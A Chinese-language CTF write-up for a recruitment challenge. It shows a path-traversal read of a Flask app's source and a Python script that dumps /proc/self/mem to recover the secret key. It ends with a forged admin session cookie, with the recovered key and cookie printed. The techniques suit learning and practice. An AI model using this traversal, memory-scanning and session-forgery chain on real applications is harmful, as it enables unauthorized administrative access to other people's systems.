御林招新题:御图网

flask-session漏洞、prob/self/mem内存读取

题目描述

御林娘图片_御林娘素材_御林娘高清图片_御林网图片下载_306万 御林娘 免版税图片、库存照片和图像 | Yulinsec

御林娘小时候上网找素材做海报,意外发现了一个用python编写的盗版图片网站。她一顿操作猛如虎,行云流水地黑入网站获取管理员权限,狠狠报复了这个盗版网站。

1
2
3
4
5
    <h1>御林图库</h1>
    <ul>
        <li><a href="/download?file=pic1.png">扣1送御林娘自拍</a></li>
        <li><a href="/download?file=pic2.png">简约大气的御林娘图片-御林娘图片素材免费下载</a></li>
    </ul> 

解题

思路

信息搜集:

  1. 题目告知是 python 写的网站
  2. 页面给了链接,可能存在文件泄露!

尝试下载文件,发现:/download?file=../app.py,于是得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from flask import Flask, request, session, render_template_string, abort, redirect, url_for, make_response, Response
import ...
app = Flask(__name__)

def generate_secret_key():
    prefix = "Yulin"
    suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    return prefix + suffix


app.secret_key = generate_secret_key()

flag = ""
if os.path.isfile("/flag"):
    with open("/flag", "r") as f:
        flag = f.read().strip()
    os.remove("/flag")
    os.remove("/start.sh")
else:
    flag = "[ ]"


@app.route('/')
def index():
    if session.get('is_admin'):
        return f'<h1>你好,Admin</h1><p>Flag: YulinSec{{{flag}}}</p>'
    return ......


@app.route('/download')
def download():
    ......

    allowed_proc_files = ['/proc/self/maps', '/proc/self/mem']
    if file_path in allowed_proc_files:
        pass
    else:
        ......

    if file_path == '/proc/self/maps':
        try:
            with open(file_path, 'r') as f:
                content = f.read()
            ...
            return response
        except Exception as e:
            ...

    if file_path == '/proc/self/mem':
        if end <= start:
            end = start + 1048576  # 1MB

        def generate():
            try:
                with open(file_path, 'rb') as f:
                    f.seek(start)
                    remaining = end - start

                    while remaining > 0:
                        chunk_size = min(1024 * 1024, remaining)  # 每次最多读取1MB
                        data = f.read(chunk_size)
                        if not data:
                            break
                        yield data
                        remaining -= len(data)

            except Exception as e:
                app.logger.error(f"Error reading memory: {str(e)}")
                yield f"Error reading memory content from {start} to {end}".encode()

        return Response(
            generate(),
            mimetype='application/octet-stream',
            headers={'Content-Disposition': f'attachment; filename=memory_{start}_{end}.bin'}
        )

    try:
        with open(file_path, 'rb') as f:
            content = f.read()
    except Exception as e:
        ...

    sanitized_content = re.sub(
        rb'flag\{.*?\}',
        b'[ ]',
        content,
        flags=re.IGNORECASE
    )

    ....
    return response


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
  1. 代码关键点:

    • 泄露了文件 /proc/self/maps 以及 /proc/self/mem

    • 限制了 mem 的读取,一次只能读 1 MB

    • 突破点在于取得 session 的 admin

尝试

读取 maps:

1
2
3
4
5
6
7
5e2267a76000-5e2267a77000 r--p 00000000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a77000-5e2267a78000 r-xp 00001000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a78000-5e2267a79000 r--p 00002000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a79000-5e2267a7a000 r--p 00002000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a7a000-5e2267a7b000 rw-p 00003000 00:aa6 1871870                   /usr/local/bin/python3.8

......
  • 权限:如 r--pr-xprw-p 等,r 表示可读(read)、w 表示可写(write)、x 表示可执行(execute)、p 表示私有(private,即进程间不共享)。

由于数据段通常是可读可写的,所以考虑遍历读取 rw 的区域,编写脚本

写脚本

不会写,问 AI

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
import re

def get_memory_regions(target):
    """获取可读写的匿名内存区域"""
    try:
        response = requests.get(f"{target}/download?file=/proc/self/maps", timeout=10)
        regions = []
        for line in response.text.splitlines():
            # 筛选包含Python字符串的内存区域特征
            # 注意,由 rw-p 改为 rw,删去and
            if 'rw' in line:# and ('anon_inode' in line or '[heap]' in line):
                addr_range = line.split()[0]
                start, end = addr_range.split('-')
                regions.append((int(start, 16), int(end, 16)))
        return regions
    except Exception as e:
        print(f"获取内存映射失败: {e}")
        return []

def search_secret_key(target, regions):
    """在指定内存区域搜索secret_key"""
    # 匹配模式:Yulin开头 + 16位字母数字
    pattern = rb'Yulin[A-Za-z0-9]{16}'
    
    for start, end in regions:
        print(f"扫描内存区域: 0x{start:x} - 0x{end:x}")
        # 分块读取(每次1MB,平衡速度和稳定性)
        chunk_size = 1 * 1024 * 1024
        current = start
        
        while current < end:
            chunk_end = min(current + chunk_size, end)
            try:
                # 读取内存块
                resp = requests.get(
                    f"{target}/download?file=/proc/self/mem",
                    params={'start': current, 'end': chunk_end},
                    timeout=15
                )
                # 搜索密钥
                match = re.search(pattern, resp.content)
                if match:
                    return match.group(0).decode()
                
                current = chunk_end
                print(f"已扫描: {int((current - start)/(end - start)*100)}%", end='\r')
                
            except Exception as e:
                print(f"\n读取内存块失败(0x{current:x}): {e}")
                current += chunk_size  # 跳过错误块
    
    return None

def main():
    target = "http://prob01-4a2b75818e1a60809324fca5d9adda1a.recruit.yulinsec.cn"
    print(f"目标地址: {target}")
    
    # 获取内存区域
    regions = get_memory_regions(target)
    if not regions:
        print("未找到可扫描的内存区域")
        return
    print(f"发现 {len(regions)} 个可扫描内存区域")
    
    # 搜索secret_key
    secret_key = search_secret_key(target, regions)
    
    if secret_key:
        print(f"\n找到secret_key: {secret_key}")
    else:
        print("\n未找到secret_key,请尝试重新运行")

if __name__ == "__main__":
    main()

主要是 request 库还是不熟,还有 re 正则匹配、字符串处理。

先这样吧。

得到 secret_key:xxxx

漏洞利用

得到了 key 以后,抓包发现文件头中并不包含 Cookie!

  • 考虑自己构造,发送

于是使用 flask-session-cookie-manager 来构造

还顺便配置了 py2、py3

1
2
3
D:\software\tools\flask-session-cookie-manager-1.2.2>python .\flask_session_cookie_manager2.py encode -s "Yulin9IlwFlKE3K6ubjNn" -t "{'is_admin':'true'}"

eyJpc19hZG1pbiI6eyIgYiI6ImRISjFaUT09In19.aO5EQg.kmSLHAE42MX1z895x02HEdD8zqg

这里要注意的是 true 也要用分号包围……

放到 bp,完成!

image-20251014212235209

Licensed under Calendar